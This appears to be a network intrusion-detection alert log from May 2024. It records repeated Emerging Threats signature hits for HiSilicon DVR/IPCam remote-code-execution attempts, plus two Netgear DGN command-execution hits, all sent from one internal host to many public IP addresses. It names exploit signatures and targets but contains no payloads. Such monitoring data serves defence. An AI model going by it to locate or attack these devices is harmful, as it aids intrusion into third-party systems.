SID:	2030488
Source Port:	33256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 96.32.190.173

Timestamp:	05/16/24-16:39:14.518795
SID:	2030487
Source Port:	33256
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 138.174.166.214

Timestamp:	05/16/24-16:38:53.098292
SID:	2030487
Source Port:	54032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 138.174.166.214

Timestamp:	05/16/24-16:38:53.098292
SID:	2030488
Source Port:	54032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.164.169.243

Timestamp:	05/16/24-16:38:55.220119
SID:	2030487
Source Port:	58824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.75.175.138

Timestamp:	05/16/24-16:38:59.518467
SID:	2030487
Source Port:	43908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.164.169.243

Timestamp:	05/16/24-16:38:55.220119
SID:	2030488
Source Port:	58824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.75.175.138

Timestamp:	05/16/24-16:38:59.518467
SID:	2030488
Source Port:	43908
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.172.215.228

Timestamp:	05/16/24-16:38:59.518418
SID:	2030487
Source Port:	50536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.172.215.228

Timestamp:	05/16/24-16:38:59.518418
SID:	2030488
Source Port:	50536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.110.162.236

Timestamp:	05/16/24-16:39:03.263606
SID:	2030488
Source Port:	34070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.110.162.236

Timestamp:	05/16/24-16:39:03.263606
SID:	2030487
Source Port:	34070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.34.39.233

Timestamp:	05/16/24-16:38:57.411171
SID:	2030488
Source Port:	44840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.34.39.233

Timestamp:	05/16/24-16:38:57.411171
SID:	2030487
Source Port:	44840
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 79.226.132.87

Timestamp:	05/16/24-16:39:02.727977
SID:	2030488
Source Port:	40638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.234.214.179

Timestamp:	05/16/24-16:39:03.260047
SID:	2030488
Source Port:	44112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 79.226.132.87

Timestamp:	05/16/24-16:39:02.727977
SID:	2030487
Source Port:	40638
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.40.203.252

Timestamp:	05/16/24-16:39:08.041218
SID:	2030488
Source Port:	40250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.234.214.179

Timestamp:	05/16/24-16:39:03.260047
SID:	2030487
Source Port:	44112
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.153.205.111

Timestamp:	05/16/24-16:39:02.745327
SID:	2030487
Source Port:	42310
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.73.248.25

Timestamp:	05/16/24-16:39:05.676853
SID:	2030487
Source Port:	44900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.153.205.111

Timestamp:	05/16/24-16:39:02.745327
SID:	2030488
Source Port:	42310
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.169.227.79

Timestamp:	05/16/24-16:39:16.611867
SID:	2030488
Source Port:	39062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.169.227.79

Timestamp:	05/16/24-16:39:16.611867
SID:	2030487
Source Port:	39062
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.40.203.252

Timestamp:	05/16/24-16:39:08.041218
SID:	2030487
Source Port:	40250
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.73.248.25

Timestamp:	05/16/24-16:39:05.676853
SID:	2030488
Source Port:	44900
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.176.127.239

Timestamp:	05/16/24-16:38:57.408883
SID:	2030488
Source Port:	53138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.114.99.154

Timestamp:	05/16/24-16:39:12.304151
SID:	2030488
Source Port:	44006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.74.1.249

Timestamp:	05/16/24-16:39:14.524527
SID:	2030488
Source Port:	40372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.176.127.239

Timestamp:	05/16/24-16:38:57.408883
SID:	2030487
Source Port:	53138
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.74.1.249

Timestamp:	05/16/24-16:39:14.524527
SID:	2030487
Source Port:	40372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 180.236.127.233

Timestamp:	05/16/24-16:38:59.519300
SID:	2030487
Source Port:	55094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 180.236.127.233

Timestamp:	05/16/24-16:38:59.519300
SID:	2030488
Source Port:	55094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 44.114.99.154

Timestamp:	05/16/24-16:39:12.304151
SID:	2030487
Source Port:	44006
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 66.237.107.46

Timestamp:	05/16/24-16:38:53.013637
SID:	2030488
Source Port:	42252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 66.237.107.46

Timestamp:	05/16/24-16:38:53.013637
SID:	2030487
Source Port:	42252
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.177.175.194

Timestamp:	05/16/24-16:39:05.704096
SID:	2030488
Source Port:	59642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 126.189.205.100

Timestamp:	05/16/24-16:39:16.598481
SID:	2030488
Source Port:	60522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.177.175.194

Timestamp:	05/16/24-16:39:05.704096
SID:	2030487
Source Port:	59642
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 126.189.205.100

Timestamp:	05/16/24-16:39:16.598481
SID:	2030487
Source Port:	60522
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.32.68.1

Timestamp:	05/16/24-16:38:53.011282
SID:	2030487
Source Port:	57778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.32.68.1

Timestamp:	05/16/24-16:38:53.011282
SID:	2030488
Source Port:	57778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 150.251.247.44

Timestamp:	05/16/24-16:39:05.712987
SID:	2030487
Source Port:	59134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.71.190.99

Timestamp:	05/16/24-16:39:05.678462
SID:	2030487
Source Port:	51578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 150.251.247.44

Timestamp:	05/16/24-16:39:05.712987
SID:	2030488
Source Port:	59134
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.71.190.99

Timestamp:	05/16/24-16:39:05.678462
SID:	2030488
Source Port:	51578
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.230.38.50

Timestamp:	05/16/24-16:39:12.381956
SID:	2030488
Source Port:	42956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.230.38.50

Timestamp:	05/16/24-16:39:12.381956
SID:	2030487
Source Port:	42956
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 219.38.107.25

Timestamp:	05/16/24-16:38:57.409946
SID:	2030488
Source Port:	35752
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.97.151.132

Timestamp:	05/16/24-16:39:16.615079
SID:	2030488
Source Port:	51938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 206.97.151.132

Timestamp:	05/16/24-16:39:16.615079
SID:	2030487
Source Port:	51938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 36.80.241.120

Timestamp:	05/16/24-16:39:01.474040
SID:	2024916
Source Port:	51530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.128.85.5

Timestamp:	05/16/24-16:39:05.705289
SID:	2030487
Source Port:	38212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.128.85.5

Timestamp:	05/16/24-16:39:05.705289
SID:	2030488
Source Port:	38212
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.229.208.114

Timestamp:	05/16/24-16:39:03.253922
SID:	2030488
Source Port:	37830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.229.208.114

Timestamp:	05/16/24-16:39:03.253922
SID:	2030487
Source Port:	37830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.74.50.28

Timestamp:	05/16/24-16:38:50.004118
SID:	2030488
Source Port:	45312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 188.74.50.28

Timestamp:	05/16/24-16:38:50.004118
SID:	2030487
Source Port:	45312
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 13.163.98.180

Timestamp:	05/16/24-16:39:12.298216
SID:	2030487
Source Port:	49860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 13.163.98.180

Timestamp:	05/16/24-16:39:12.298216
SID:	2030488
Source Port:	49860
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.222.136.84

Timestamp:	05/16/24-16:38:53.093286
SID:	2030488
Source Port:	39710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.222.136.84

Timestamp:	05/16/24-16:38:53.093286
SID:	2030487
Source Port:	39710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.74.160.211

Timestamp:	05/16/24-16:38:57.448073
SID:	2030488
Source Port:	49586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.74.160.211

Timestamp:	05/16/24-16:38:57.448073
SID:	2030487
Source Port:	49586
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 101.242.34.31

Timestamp:	05/16/24-16:39:14.530277
SID:	2030488
Source Port:	35410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 101.242.34.31

Timestamp:	05/16/24-16:39:14.530277
SID:	2030487
Source Port:	35410
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.234.205.59

Timestamp:	05/16/24-16:38:55.176180
SID:	2030488
Source Port:	49902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 156.234.205.59

Timestamp:	05/16/24-16:38:55.176180
SID:	2030487
Source Port:	49902
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.48.5.171

Timestamp:	05/16/24-16:39:02.765710
SID:	2030487
Source Port:	56144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.48.5.171

Timestamp:	05/16/24-16:39:02.765710
SID:	2030488
Source Port:	56144
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.200.203.255

Timestamp:	05/16/24-16:39:08.045041
SID:	2030487
Source Port:	35732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 77.56.153.121

Timestamp:	05/16/24-16:39:03.277940
SID:	2030487
Source Port:	50430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 59.131.220.176

Timestamp:	05/16/24-16:39:14.532760
SID:	2030487
Source Port:	34040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.200.203.255

Timestamp:	05/16/24-16:39:08.045041
SID:	2030488
Source Port:	35732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 59.131.220.176

Timestamp:	05/16/24-16:39:14.532760
SID:	2030488
Source Port:	34040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.12.160.31

Timestamp:	05/16/24-16:38:53.062498
SID:	2030488
Source Port:	43706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 125.78.205.170

Timestamp:	05/16/24-16:39:12.301187
SID:	2030487
Source Port:	55472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 125.78.205.170

Timestamp:	05/16/24-16:39:12.301187
SID:	2030488
Source Port:	55472
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.138.252.5

Timestamp:	05/16/24-16:39:05.676323
SID:	2030488
Source Port:	45764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.101.234.12

Timestamp:	05/16/24-16:38:59.558449
SID:	2030487
Source Port:	49468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 5.138.252.5

Timestamp:	05/16/24-16:39:05.676323
SID:	2030487
Source Port:	45764
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.101.234.12

Timestamp:	05/16/24-16:38:59.558449
SID:	2030488
Source Port:	49468
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.86.242.180

Timestamp:	05/16/24-16:39:03.263606
SID:	2030488
Source Port:	57234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.86.242.180

Timestamp:	05/16/24-16:39:03.263606
SID:	2030487
Source Port:	57234
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 77.56.153.121

Timestamp:	05/16/24-16:39:03.277940
SID:	2030488
Source Port:	50430
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.242.24.142

Timestamp:	05/16/24-16:39:12.301098
SID:	2030487
Source Port:	43934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.242.24.142

Timestamp:	05/16/24-16:39:12.301098
SID:	2030488
Source Port:	43934
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 102.28.251.67

Timestamp:	05/16/24-16:39:08.125366
SID:	2030487
Source Port:	39372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 102.28.251.67

Timestamp:	05/16/24-16:39:08.125366
SID:	2030488
Source Port:	39372
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.173.160.203

Timestamp:	05/16/24-16:39:08.146707
SID:	2030488
Source Port:	54700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.194.174.18

Timestamp:	05/16/24-16:38:55.193139
SID:	2030488
Source Port:	54938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.194.174.18

Timestamp:	05/16/24-16:38:55.193139
SID:	2030487
Source Port:	54938
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 153.86.246.117

Timestamp:	05/16/24-16:39:05.704118
SID:	2030488
Source Port:	45588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 153.86.246.117

Timestamp:	05/16/24-16:39:05.704118
SID:	2030487
Source Port:	45588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.173.160.203

Timestamp:	05/16/24-16:39:08.146707
SID:	2030487
Source Port:	54700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.12.160.31

Timestamp:	05/16/24-16:38:53.062498
SID:	2030487
Source Port:	43706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 206.92.128.139

Timestamp:	05/16/24-16:39:13.658796
SID:	2024916
Source Port:	38618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 81.218.198.138

Timestamp:	05/16/24-16:38:57.408703
SID:	2030487
Source Port:	39994
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 147.153.211.195

Timestamp:	05/16/24-16:38:55.187246
SID:	2030487
Source Port:	41640
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 81.218.198.138

